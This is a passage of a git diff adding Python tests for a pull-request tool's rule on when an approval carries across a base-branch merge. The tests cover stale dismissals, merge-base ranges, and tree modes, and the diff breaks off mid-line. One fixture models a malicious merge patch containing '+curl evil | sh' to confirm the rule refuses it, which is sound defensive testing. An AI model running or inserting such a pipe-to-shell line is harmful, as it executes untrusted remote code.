b/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py index 6d34645db6..5a5f19a3ef 100644 --- a/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py +++ b/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py @@ -217,6 +217,7 @@ def test_the_approval_lifts_no_unsafe_path_or_cost_hold(self) -> None: def approval(state: str = "APPROVED", sha: str = OLD, user: int = 5) -> dict[str, object]: return { + "id": 41, "user": {"id": user, "login": f"user{user}", "type": "User"}, "state": state, "commit_id": sha, @@ -227,6 +228,67 @@ def approval(state: str = "APPROVED", sha: str = OLD, user: int = 5) -> dict[str HELPER = {"filename": "scripts/helper.sh", "status": "modified", "patch": "+x"} # main's tip commit, which its full ref resolves to. TIP = "3" * 40 +# The merge bases of the approved head and of the head with main's tip. +MB_OLD = "1" * 40 +MB_HEAD = "2" * 40 +BASE_DOC = {"filename": "docs/base.md", "status": "modified", "patch": "+q"} +# #10224's shape: main changed a file the pull request also changes, so the +# net change moved by hunk headers while main's own hunk applies the same. +SHARED = ".github/actions/collect-base-activity/collect-base-activity.test.mjs" +SHARED_OLD = {"filename": SHARED, "status": "modified", "patch": "@@ -93 +93 @@\n+mine"} +SHARED_HEAD = SHARED_OLD | {"patch": "@@ -98 +98 @@\n+mine"} +SHARED_BASE = {"filename": SHARED, "status": "modified", "patch": "@@ -10 +10 @@\n+theirs"} +# GitHub's stale-review dismissal on the base merge's push. +STALE = { + "event": "review_dismissed", + "actor": {"login": "lanes[bot]", "type": "Bot"}, + "dismissed_review": { + "review_id": 41, + "state": "approved", + "dismissal_message": None, + "dismissal_commit_id": HEAD, + }, +} + + +def tree(*paths: str, flipped: str = "", truncated: bool = False) -> dict[str, object]: + """A recursive git/trees answer: each path a blob at mode 100644, but + `flipped` at 100755.""" + return { + "truncated": truncated, + "tree": [ + {"path": p, "mode": "100755" if p == flipped else "100644", "type": "blob"} + for p in paths + ], + } + + +PATHS = (".github/actions/resolve-config/live-config.test.mjs", SHARED, "docs/base.md", "scripts/helper.sh") +# The trees of the head and of its merge base with main's tip. +TREES = {HEAD: tree(*PATHS), MB_HEAD: tree(*PATHS)} + + +def ranges( + brought: list[dict[str, object]], based: list[dict[str, object]] +) -> dict[str, object]: + """The compares OLD...HEAD (what the merges brought) and MB_OLD...MB_HEAD + (what main changed between the merge bases).""" + return { + f"{OLD}...{HEAD}": { + "status": "ahead", + "behind_by": 0, + "files": brought, + "commits": [{"sha": MAIN}, {"sha": HEAD}], + "total_commits": 2, + }, + f"{MB_OLD}...{MB_HEAD}": { + "status": "ahead", + "behind_by": 0, + "files": based, + "commits": [{"sha": MB_HEAD}], + "total_commits": 1, + }, + } def carried( @@ -239,15 +301,24 @@ def carried( reads: list[str] | None = None, now_head: str = HEAD, changed: int | None = None, + across: dict[str, object] | None = None, + timeline: list[dict[str, object]] | None = None, + trees: dict[str, object] | None = None, + default_branch: str = "main", + now_repo: str = REPO, ) -> list[str]: + trees = TREES if trees is None else trees + across = ranges([BASE_DOC], [BASE_DOC]) if across is None else across compares = { OLD: { "files": [HELD_PATCH] if old_files is None else old_files, + "merge_base_commit": {"sha": MB_OLD}, "commits": [{"sha": OLD, "parents": [{"sha": MAIN}]}], "total_commits": 1, }, HEAD: { "files": head_files, + "merge_base_commit": {"sha": MB_HEAD}, "commits": head_commits or [ {"sha": OLD, "parents": [{"sha": MAIN}]}, @@ -262,30 +333,50 @@ def get(endpoint: str, env: object = None) -> tuple[int | None, object]: reads.append(endpoint) if endpoint == f"repos/{REPO}/pulls/{pr['number']}": count = len(head_files) if changed is None else changed - return 200, {"head": {"sha": now_head}, "changed_files": count} + head = {"sha": now_head, "repo": {"full_name": now_repo}} + return 200, {"head": head, "changed_files": count} + if endpoint == f"repos/{REPO}": + return 200, {"full_name": REPO, "default_branch": default_branch} + if "/git/trees/" in endpoint: + sha = endpoint.split("/git/trees/")[1].split("?")[0] + return (200, trees[sha]) if sha in trees else (404, None) if endpoint == f"repos/{REPO}/git/ref/heads/main": return 200, {"ref": "refs/heads/main", "object": {"sha": TIP}} if endpoint.endswith(f"...{TIP}"): parent = endpoint.rsplit("/", 1)[1].split("...")[0] return 200, {"status": "ahead" if parent == MAIN else "diverged"} + spec = endpoint.rsplit("/", 1)[1] + if spec in across: + return 200, across[spec] sha = endpoint.rsplit("...", 1)[1] assert endpoint == f"repos/{REPO}/compare/{TIP}...{sha}", endpoint return 200, compares[sha] + def paginated(endpoint: str, label: str, *args: object, **kwargs: object) -> object: + if reads is not None: + reads.append(endpoint) + assert endpoint.startswith(f"repos/{REPO}/issues/{pr['number']}/timeline"), endpoint + if timeline is None: + raise policy.PolicyReadError(label) + return timeline + with mock.patch.object(policy, "_get", side_effect=get): - return policy.carried_lifters( - REPO, pr, [approval()] if reviews is None else reviews, TRUSTED - ) + rows = [approval()] if reviews is None else reviews + if not any(r.get("state") == "DISMISSED" for r in rows): + return policy.carried_lifters(REPO, pr, rows, TRUSTED) + with mock.patch.object(policy, "_paginated", side_effect=paginated): + return policy.carried_lifters(REPO, pr, rows, TRUSTED) class ALiftCarriesOverABaseMerge(unittest.TestCase): def test_an_approval_before_a_base_merge_lifts_the_head(self) -> None: reads: list[str] = [] self.assertEqual(carried([HELD_PATCH], reads=reads), ["user5"]) - # The head is re-read, then the base once by its full ref; every - # compare names its tip. + # The head is re-read, the repository's default branch checked, then + # the base read once by its full ref; every compare names its tip. self.assertEqual(reads[0], f"repos/{REPO}/pulls/{CARRIED_PR['number']}") - self.assertEqual(reads[1], f"repos/{REPO}/git/ref/heads/main") + self.assertEqual(reads[1], f"repos/{REPO}") + self.assertEqual(reads[2], f"repos/{REPO}/git/ref/heads/main") self.assertIn(f"repos/{REPO}/compare/{TIP}...{OLD}", reads) self.assertFalse(any("compare/main" in r or r.endswith("...main") for r in reads)) # A non-hold file the approved head changed, unchanged by the merge. @@ -293,20 +384,126 @@ def test_an_approval_before_a_base_merge_lifts_the_head(self) -> None: carried([HELPER, HELD_PATCH], old_files=[HELD_PATCH, HELPER]), ["user5"] ) + def test_a_stale_dismissed_approval_carries(self) -> None: + """The owner's decision of 2026-10-28 (part a): an approval GitHub + dismissed as stale on the base merge's push counts through the carry.""" + reads: list[str] = [] + self.assertEqual( + carried( + [HELD_PATCH], reviews=[approval("DISMISSED")], timeline=[STALE], reads=reads + ), + ["user5"], + ) + self.assertIn(f"repos/{REPO}/issues/{CARRIED_PR['number']}/timeline?per_page=100", reads) + + def test_a_revoking_dismissal_does_not_carry(self) -> None: + dismissed = STALE["dismissed_review"] + cases = { + "a dismissal with a message": [STALE | {"dismissed_review": dismissed | {"dismissal_message": "stale"}}], + "a dismissal by a person": [STALE | {"actor": {"login": "user5", "type": "User"}}], + "a dismissal commit the merges did not push": [STALE | {"dismissed_review": dismissed | {"dismissal_commit_id": OTHER}}], + "a dismissal of another review": [STALE | {"dismissed_review": dismissed | {"review_id": 42}}], + } # fmt: skip + for name, timeline in cases.items(): + with self.subTest(name): + self.assertEqual( + carried([HELD_PATCH], reviews=[approval("DISMISSED")], timeline=timeline), + [], + ) + # Approve the head, push X, force-push the head back: no range. + self.assertEqual( + carried([HELD_PATCH], reviews=[approval("DISMISSED", HEAD)], timeline=[STALE]), + [], + ) + + def test_10224s_shape_carries_when_the_merges_brought_exactly_mains_changes( + self, + ) -> None: + """The owner's decision of 2026-10-28 (part b).""" + reads: list[str] = [] + replay = { + "old_files": [HELD_PATCH, SHARED_OLD], + "across": ranges([BASE_DOC, SHARED_BASE], [SHARED_BASE, BASE_DOC]), + } + self.assertEqual( + carried([HELD_PATCH, SHARED_HEAD], reads=reads, **replay), ["user5"] + ) + self.assertIn(f"repos/{REPO}/compare/{OLD}...{HEAD}", reads) + self.assertIn(f"repos/{REPO}/compare/{MB_OLD}...{MB_HEAD}", reads) + self.assertEqual( + carried( + [HELD_PATCH, SHARED_HEAD], + reviews=[approval("DISMISSED")], + timeline=[STALE], + **replay, + ), + ["user5"], + ) + self.assertIn(f"repos/{REPO}/git/trees/{HEAD}?recursive=1", reads) + self.assertIn(f"repos/{REPO}/git/trees/{MB_HEAD}?recursive=1", reads) + # The independent security review of #10671: modes come from the + # trees, and only a base that is the default branch carries. + refused = { + "a merge that also flips a base file's mode": {"trees": {HEAD: tree(*PATHS, flipped="docs/base.md"), MB_HEAD: tree(*PATHS)}}, + "a truncated tree": {"trees": {HEAD: tree(*PATHS), MB_HEAD: tree(*PATHS, truncated=True)}}, + "an unreadable tree": {"trees": {HEAD: tree(*PATHS)}}, + "a base that is not the default branch": {"default_branch": "trunk"}, + "a head re-read in a fork": {"now_repo": "a/fork"}, + } # fmt: skip + for name, case in refused.items(): + with self.subTest(name): + self.assertEqual(carried([HELD_PATCH, SHARED_HEAD], **replay, **case), []) + self.assertEqual(carried([HELD_PATCH], default_branch="trunk"), []) + cases = { + "a merge that also edits a hold path": ranges([BASE_DOC, SHARED_BASE, HELD_PATCH | {"patch": "+evil"}], [BASE_DOC, SHARED_BASE]), + "a merge that also edits a non-hold file": ranges([BASE_DOC, SHARED_BASE, HELPER], [BASE_DOC, SHARED_BASE]), + "a base change reverted inside the merge": ranges([SHARED_BASE], [BASE_DOC, SHARED_BASE]), + "a range of 300 files": ranges( + [{"filename": f"d/{i}", "status": "added", "patch": "+x"} for i in range(300)], + [{"filename": f"d/{i}", "status": "added", "patch": "+x"} for i in range(300)], + ), + } # fmt: skip + for name, across in cases.items(): + with self.subTest(name): + self.assertEqual( + carried( + [HELD_PATCH, SHARED_HEAD], + old_files=[HELD_PATCH, SHARED_OLD], + across=across, + ), + [], + ) + def test_no_untrusted_shape_or_unread_input_carries(self) -> None: cases = { - "an evil merge": {"head_files": [HELD_PATCH | {"patch": "+evil"}]}, + "an evil merge": { + "head_files": [HELD_PATCH | {"patch": "+evil"}], + "across": ranges([BASE_DOC, HELD_PATCH | {"patch": "+evil"}], [BASE_DOC]), + }, # The re-review of #10596: a merge that rewrites a non-hold file # the approved head changed, or adds one the base touched. "a merge that rewrites scripts/helper.sh": { "old_files": [HELD_PATCH, HELPER], "head_files": [HELD_PATCH, HELPER | {"patch": "+curl evil | sh"}], + "across": ranges( + [BASE_DOC, HELPER | {"patch": "+curl evil | sh"}], [BASE_DOC] + ), }, "a merge that adds a file the base touched, with its own content": { "head_files": [ HELD_PATCH, {"filename": "scripts/lib.mjs", "status": "modified", "patch": "+evil"}, ], + "across": ranges( + [ + BASE_DOC, + {"filename": "scripts/lib.mjs", "status": "modified", "patch": "+evil"}, + ], + [ + BASE_DOC, + {"filename": "scripts/lib.mjs", "status": "modified", "patch": "+base"}, + ], + ), }, "a merge whose second parent the base does not hold": { "head_files": [HELD_PATCH], @@ -335,8 +532,13 @@ def test_no_untrusted_shape_or_unread_input_carries(self) -> None: "head_files": [HELD_PATCH], "pr": CARRIED_PR | {"head": CARRIED_PR["head"] | {"repo": None}}, }, - # The owner's decision on #10596: a dismissed approval never counts. - "a dismissed approval": { + # A dismissed approval counts only as GitHub's stale dismissal. + "a dismissed approval with no dismissal event": { + "head_files": [HELD_PATCH], + "reviews": [approval("DISMISSED")], + "timeline": [], + }, + "a dismissed approval whose timeline does not read": { "head_files": [HELD_PATCH], "reviews": [approval("DISMISSED")], }, diff --git a/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py b/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py index ee0e184b28..4f3255590b 100644 --- a/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py +++ b/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py @@ -1033,11 +1033,18 @@ def test_both_carry_a_decision_to_the_same_heads(self) -> None: NODE_CARRY = """ -import { baseMergeCarry, fromRest, liftsOf } from %s; -const [lifts, carries, from] = JSON.parse(process.argv[1]); +import { approvalCarry, autoDismissed, baseMergeCarry, fromRest, liftsOf } from %s; +let text = ""; +for await (const chunk of process.stdin) text += chunk; +const [lifts, carries, from] = JSON.parse(text); console.log(JSON.stringify([ - lifts.map((reviews) => liftsOf(reviews.map(fromRest), new Set([1, 3])).map(({ login, sha }) => [login, sha])), - carries.map(([then, now, inBase]) => baseMergeCarry(then, now, from, inBase)), + lifts.map(([reviews, events]) => + liftsOf(reviews.map(fromRest), new Set([1, 3]), autoDismissed(events)).map(({ login, sha, dismissal }) => [login, sha, dismissal]), + ), + carries.map(([then, now, inBase, merges, based, dismissal, trees]) => [ + baseMergeCarry(then, now, from, inBase), + approvalCarry(then, now, from, inBase, merges, based, dismissal, trees), + ]), ])); """ _OLD = "c" * 40 @@ -1046,6 +1053,9 @@ def test_both_carry_a_decision_to_the_same_heads(self) -> None: _PATCH = {"filename": _HELD, "status": "modified", "patch": "@@ -1 +1 @@\n-a\n+b"} _DOC = {"filename": "docs/a.md", "status": "modified", "patch": "+x"} _LIFTED = "2026-10-27T23:26:14Z" +# The merge bases of the approved head and of the head with the base's tip. +_MB_OLD = "1" * 40 +_MB_HEAD = "2" * 40 def _moved(*commits: tuple[str, list[str]]) -> dict[str, Any]: @@ -1058,51 +1068,159 @@ def _moved(*commits: tuple[str, list[str]]) -> dict[str, Any]: } -_THEN = {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]))} -_MERGED = _moved((_OLD, [_BASE_SHA]), (_HEAD, [_OLD, _BASE_SHA])) +_THEN = {"files": [_PATCH], "merge_base_commit": {"sha": _MB_OLD}, **_moved((_OLD, [_BASE_SHA]))} +_MERGED = {"merge_base_commit": {"sha": _MB_HEAD}, **_moved((_OLD, [_BASE_SHA]), (_HEAD, [_OLD, _BASE_SHA]))} _OTHER = "e" * 40 _REWRITTEN = "f" * 40 -# REST reviews: whose approval stands, as (login, sha). + + +def _dismissal(review: int = 41, **change: Any) -> dict[str, Any]: + """GitHub's stale-review dismissal on the base merge's push, as #10224's + timeline shows it, with `change` applied to it or to its actor.""" + actor = {"login": "lanes[bot]", "type": "Bot"} | change.pop("actor", {}) + return { + "event": "review_dismissed", + "actor": actor, + "dismissed_review": { + "review_id": review, + "state": "approved", + "dismissal_message": None, + "dismissal_commit_id": _HEAD, + } + | change, + } + + +def _dismissed(sha: str = _OLD, user: int = 1, review: int = 41) -> dict[str, Any]: + return _review("DISMISSED", user, sha, _LIFTED) | {"id": review} + + +# (REST reviews, timeline events): whose approval stands, as (login, sha, +# dismissal commit or None). LIFT_CASES = { - "an approval of an earlier head": [_review("APPROVED", sha=_OLD, at=_LIFTED)], - "an approval by an untrusted account": [_review("APPROVED", 2, _OLD, _LIFTED)], - "an approval by a bot": [_review("APPROVED", 1, _OLD, _LIFTED, "Bot")], - "an approval then changes requested on another head": [ + "an approval of an earlier head": ([_review("APPROVED", sha=_OLD, at=_LIFTED)], []), + "an approval by an untrusted account": ([_review("APPROVED", 2, _OLD, _LIFTED)], []), + "an approval by a bot": ([_review("APPROVED", 1, _OLD, _LIFTED, "Bot")], []), + "an approval then changes requested on another head": ([ _review("APPROVED", sha=_OLD, at=_LIFTED), _review("CHANGES_REQUESTED", sha="d" * 40, at="2026-10-27T23:40:00Z"), - ], - "a dismissed approval": [_review("DISMISSED", sha=_OLD, at=_LIFTED)], - "an approval dismissed after a newer approval": [ + ], []), + "a dismissed approval": ([_dismissed()], []), + "an approval dismissed after a newer approval": ([ _review("APPROVED", sha=_OLD, at=_LIFTED), _review("DISMISSED", sha=_HEAD, at="2026-10-27T23:40:00Z"), - ], - "a comment after an approval": [_review("APPROVED", sha=_OLD, at=_LIFTED), _review("COMMENTED", sha=_HEAD, at="2026-10-27T23:40:00Z")], - "two people": [_review("APPROVED", 1, _OLD, _LIFTED), _review("APPROVED", 3, _HEAD, _LIFTED)], + ], []), + "a comment after an approval": ([_review("APPROVED", sha=_OLD, at=_LIFTED), _review("COMMENTED", sha=_HEAD, at="2026-10-27T23:40:00Z")], []), + "two people": ([_review("APPROVED", 1, _OLD, _LIFTED), _review("APPROVED", 3, _HEAD, _LIFTED)], []), + # The owner's decision of 2026-10-28 (part a). + "an approval GitHub dismissed as stale": ([_dismissed()], [_dismissal()]), + "a review id read as a string": ([_dismissed()], [_dismissal("41")]), + "a dismissal with a message": ([_dismissed()], [_dismissal(dismissal_message="stale")]), + "a dismissal with an empty message": ([_dismissed()], [_dismissal(dismissal_message="")]), + "a dismissal with no message field": ([_dismissed()], [{"event": "review_dismissed", "actor": {"type": "Bot"}, "dismissed_review": {"review_id": 41, "state": "approved", "dismissal_commit_id": _HEAD}}]), + "a dismissal by a person": ([_dismissed()], [_dismissal(actor={"type": "User"})]), + "a dismissal with no actor": ([_dismissed()], [_dismissal() | {"actor": None}]), + "a dismissed request for changes": ([_dismissed()], [_dismissal(state="changes_requested")]), + "a dismissal of another review": ([_dismissed()], [_dismissal(42)]), + "a second dismissal event with a message": ([_dismissed()], [_dismissal(), _dismissal(dismissal_message="no")]), + "a dismissal commit that is no sha": ([_dismissed()], [_dismissal(dismissal_commit_id=None)]), + "a stale dismissal by an untrusted account": ([_dismissed(user=2)], [_dismissal()]), + "changes requested after a stale dismissal": ([_dismissed(), _review("CHANGES_REQUESTED", sha=_HEAD, at="2026-10-27T23:40:00Z")], [_dismissal()]), } # fmt: skip _IN_BASE = [_BASE_SHA] _HELPER = {"filename": "scripts/helper.sh", "status": "modified", "patch": "@@ -1 +1 @@\n-x\n+y"} -# (then, now, in_base): whether the approval at _OLD carries to _HEAD, given -# the merged parents the base holds. +# What the merges brought into the approved head (compare _OLD..._HEAD) and +# what the base changed between the merge bases (_MB_OLD..._MB_HEAD). +_BASE_DOC = {"filename": "docs/base.md", "status": "modified", "patch": "@@ -1 +1 @@\n-p\n+q"} +# #10224's shape: the base changed a file the pull request also changes, so +# its net change moved by hunk headers, while the base's hunk applies the same. +_SHARED = ".github/actions/collect-base-activity/collect-base-activity.test.mjs" +_SHARED_OLD = {"filename": _SHARED, "status": "modified", "patch": "@@ -93,6 +93,13 @@ let root;\n context\n+mine"} +_SHARED_HEAD = _SHARED_OLD | {"patch": "@@ -98,6 +98,13 @@ let root;\n context\n+mine"} +_SHARED_BASE = {"filename": _SHARED, "status": "modified", "patch": "@@ -10,6 +10,11 @@ import\n+theirs"} + + +def _brought(files: list[dict[str, Any]], **extra: Any) -> dict[str, Any]: + return {"status": "ahead", "behind_by": 0, "files": files, **_moved((_BASE_SHA, []), (_HEAD, []))} | extra + + +def _based(files: list[dict[str, Any]], **extra: Any) -> dict[str, Any]: + return {"status": "ahead", "behind_by": 0, "files": files, **_moved((_MB_HEAD, []))} | extra + + +_CLEAN = (_brought([_BASE_DOC]), _based([_BASE_DOC])) + + +def _tree(*entries: tuple[str, str], truncated: Any = False) -> dict[str, Any]: + """A recursive git/trees answer of (path, mode) blobs.""" + return { + "truncated": truncated, + "tree": [{"path": p, "mode": m, "type": "blob"} for p, m in entries], + } + + +_PATHS = [_HELD, _SHARED, "docs/base.md", "docs/a.md", "scripts/helper.sh"] +_ALL = _tree(*((p, "100644") for p in _PATHS)) +# The trees of the head and of its merge base with the tip. +_TREES = [_ALL, _ALL] +_GONE = {"filename": "docs/gone.md", "status": "removed", "patch": "-x"} +_REPLAY_THEN = _THEN | {"files": [_PATCH, _SHARED_OLD]} +_REPLAY_NOW = {"files": [_PATCH, _SHARED_HEAD], **_MERGED} +_REPLAY_BASE = _based([_SHARED_BASE, _BASE_DOC]) +_MANY = [{"filename": f"docs/{i}.md", "status": "modified", "patch": "+x"} for i in range(300)] +# (then, now, in_base, merges, based, dismissal): whether the approval at _OLD +# carries to _HEAD, by base_merge_carry (the cost carry) and approval_carry. CARRY_CASES = { - "a base merge": (_THEN, {"files": [_PATCH], **_MERGED}, _IN_BASE), - "a base merge with a non-hold file unchanged": ({"files": [_PATCH, _HELPER], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_HELPER, _PATCH], **_MERGED}, _IN_BASE), - "a merge that rewrites scripts/helper.sh": ({"files": [_PATCH, _HELPER], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_PATCH, _HELPER | {"patch": "+evil"}], **_MERGED}, _IN_BASE), - "a merge that adds a file the base touched": (_THEN, {"files": [_PATCH, _DOC], **_MERGED}, _IN_BASE), + "a base merge": (_THEN, {"files": [_PATCH], **_MERGED}, _IN_BASE, *_CLEAN, None, _TREES), + "a base merge with a non-hold file unchanged": ({"files": [_PATCH, _HELPER], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_HELPER, _PATCH], **_MERGED}, _IN_BASE, *_CLEAN, None, _TREES), + "a merge that rewrites scripts/helper.sh": ({"files": [_PATCH, _HELPER], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_PATCH, _HELPER | {"patch": "+evil"}], **_MERGED}, _IN_BASE, _brought([_BASE_DOC, _HELPER | {"patch": "+evil"}]), _based([_BASE_DOC]), None, _TREES), + "a merge that adds a file the base touched": (_THEN, {"files": [_PATCH, _DOC], **_MERGED}, _IN_BASE, _brought([_BASE_DOC, _DOC]), _based([_BASE_DOC]), None, _TREES), "a base merge after which the base holds a hold path's change": ( {"files": [_PATCH, _PATCH | {"filename": ".github/actions/resolve-config/b.mjs"}], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_PATCH], **_MERGED}, _IN_BASE, + _brought([_BASE_DOC]), + _based([_BASE_DOC, _PATCH | {"filename": ".github/actions/resolve-config/b.mjs"}]), + None, + _TREES, ), - "a merge of a parent the base does not hold": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_OTHER, [_BASE_SHA, _BASE_SHA]), (_HEAD, [_OLD, _OTHER]))}, _IN_BASE), - "a merge read with no base answers": (_THEN, {"files": [_PATCH], **_MERGED}, []), - "an evil merge": (_THEN, {"files": [_PATCH | {"patch": "+evil"}], **_MERGED}, _IN_BASE), - "a merge that adds a hold path": (_THEN, {"files": [_PATCH, _PATCH | {"filename": ".github/actions/resolve-config/c.mjs"}], **_MERGED}, _IN_BASE), - "a rename off a hold path": (_THEN, {"files": [_PATCH, _DOC | {"status": "renamed", "previous_filename": _HELD.replace("live", "old")}], **_MERGED}, _IN_BASE), - "a non-merge commit": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_HEAD, [_OLD]))}, _IN_BASE), - "a merge of another branch": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_OTHER, [_BASE_SHA]), (_HEAD, [_OLD, _OTHER]))}, _IN_BASE), - "a force push": (_THEN, {"files": [_PATCH], **_moved((_REWRITTEN, [_BASE_SHA]), (_HEAD, [_REWRITTEN, _BASE_SHA]))}, _IN_BASE), - "a cut commit list": (_THEN, {"files": [_PATCH], **_MERGED, "total_commits": 251}, _IN_BASE), - "a hold-path file with no patch": (_THEN, {"files": [{"filename": _HELD, "status": "modified"}], **_MERGED}, _IN_BASE), + "a merge of a parent the base does not hold": (_REPLAY_THEN, {"files": [_PATCH, _SHARED_HEAD], **_moved((_OLD, [_BASE_SHA]), (_OTHER, [_BASE_SHA, _BASE_SHA]), (_HEAD, [_OLD, _OTHER]))}, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, _TREES), + "a merge read with no base answers": (_THEN, {"files": [_PATCH], **_MERGED}, [], *_CLEAN, None, _TREES), + "an evil merge": (_THEN, {"files": [_PATCH | {"patch": "+evil"}], **_MERGED}, _IN_BASE, _brought([_BASE_DOC, _PATCH | {"patch": "+evil"}]), _based([_BASE_DOC]), None, _TREES), + "a merge that adds a hold path": (_THEN, {"files": [_PATCH, _PATCH | {"filename": ".github/actions/resolve-config/c.mjs"}], **_MERGED}, _IN_BASE, _brought([_BASE_DOC, _PATCH | {"filename": ".github/actions/resolve-config/c.mjs"}]), _based([_BASE_DOC]), None, _TREES), + "a rename off a hold path": (_THEN, {"files": [_PATCH, _DOC | {"status": "renamed", "previous_filename": _HELD.replace("live", "old")}], **_MERGED}, _IN_BASE, _brought([_BASE_DOC, _DOC | {"status": "renamed", "previous_filename": _HELD.replace("live", "old")}]), _based([_BASE_DOC]), None, _TREES), + "a non-merge commit": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_HEAD, [_OLD]))}, _IN_BASE, *_CLEAN, None, _TREES), + "a merge of another branch": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_OTHER, [_BASE_SHA]), (_HEAD, [_OLD, _OTHER]))}, _IN_BASE, *_CLEAN, None, _TREES), + "a force push": (_THEN, {"files": [_PATCH], **_moved((_REWRITTEN, [_BASE_SHA]), (_HEAD, [_REWRITTEN, _BASE_SHA]))}, _IN_BASE, *_CLEAN, None, _TREES), + "a cut commit list": (_THEN, {"files": [_PATCH], **_MERGED, "total_commits": 251}, _IN_BASE, *_CLEAN, None, _TREES), + "a hold-path file with no patch": (_THEN, {"files": [{"filename": _HELD, "status": "modified"}], **_MERGED}, _IN_BASE, _brought([_BASE_DOC, {"filename": _HELD, "status": "modified"}]), _based([_BASE_DOC]), None, _TREES), + # The owner's decision of 2026-10-28 (part b): the exact carry. + "#10224's shape": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, _TREES), + "#10224's shape, dismissed as stale on the merge's push": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, _HEAD, _TREES), + "#10224's shape, dismissed by a commit the merges did not push": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, _OTHER, _TREES), + "#10224's shape, dismissed at the approved head": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, _OLD, _TREES), + "#10224's shape with no range read": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, None, None, None, _TREES), + "a merge that also edits a hold path": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE, _PATCH | {"patch": "+evil"}]), _REPLAY_BASE, None, _TREES), + "a merge that also edits a non-hold file": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE, _HELPER]), _REPLAY_BASE, None, _TREES), + "a merge that changes the base's hunk": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE | {"patch": "+evil"}]), _REPLAY_BASE, None, _TREES), + "a base change reverted inside the merge": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_SHARED_BASE]), _REPLAY_BASE, None, _TREES), + "300 files brought": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought(_MANY), _based(_MANY), None, _TREES), + "a base range of 300 files": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _based(_MANY), None, _TREES), + "a brought commit list cut short": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE], total_commits=251), _REPLAY_BASE, None, _TREES), + "a base range commit list cut short": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE | {"total_commits": 251}, None, _TREES), + "a head range that is not ahead": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE], status="diverged", behind_by=1), _REPLAY_BASE, None, _TREES), + "a base range that goes backwards": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE | {"status": "behind", "behind_by": 1}, None, _TREES), + "a base range listed ahead and behind": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE | {"behind_by": 1}, None, _TREES), + "a base range with no behind count": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), {k: v for k, v in _REPLAY_BASE.items() if k != "behind_by"}, None, _TREES), + "a base that did not move": (_THEN, {"files": [_PATCH], **_MERGED}, _IN_BASE, _brought([]), {"status": "identical", "behind_by": 0, "files": [], "commits": [], "total_commits": 0}, None, _TREES), + # The independent security review of #10671: the trees decide modes. + "a merge that also flips a base file's mode": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, [_tree(*((p, "100755" if p == "docs/base.md" else "100644") for p in _PATHS)), _ALL]), + "a brought file missing from the head's tree": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, [_tree(*((p, "100644") for p in _PATHS if p != "docs/base.md")), _ALL]), + "a truncated tree": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, [_ALL, _ALL | {"truncated": True}]), + "a tree with no truncated flag": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE]), _REPLAY_BASE, None, [{"tree": _ALL["tree"]}, _ALL]), + "a removed base file in neither tree": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE, _GONE]), _based([_BASE_DOC, _SHARED_BASE, _GONE]), None, _TREES), + "a removed base file still in the head's tree": (_REPLAY_THEN, _REPLAY_NOW, _IN_BASE, _brought([_BASE_DOC, _SHARED_BASE, _GONE]), _based([_BASE_DOC, _SHARED_BASE, _GONE]), None, [_tree(*((p, "100644") for p in [*_PATHS, 